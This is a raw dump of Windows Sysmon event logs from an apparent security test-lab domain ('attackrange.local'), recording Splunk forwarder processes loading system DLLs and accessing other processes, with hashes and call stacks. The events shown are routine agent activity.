15:02:20.545{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.545{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.546{7BD73061-737C-613B-7C0B-00000000F001}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000053256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.077{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.077{7BD73061-737B-613B-7B0B-00000000F001}28921936C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.077{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.077{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000017044Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:21.224{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABEE69FC9E5EB74BCCD5F24C6F99C226,SHA256=CD58CB729F3CC96491973AE64AD855D16323D626E07B39487B9F10DA0FE60C96,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.914{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.914{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.914{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.730{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000053344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft 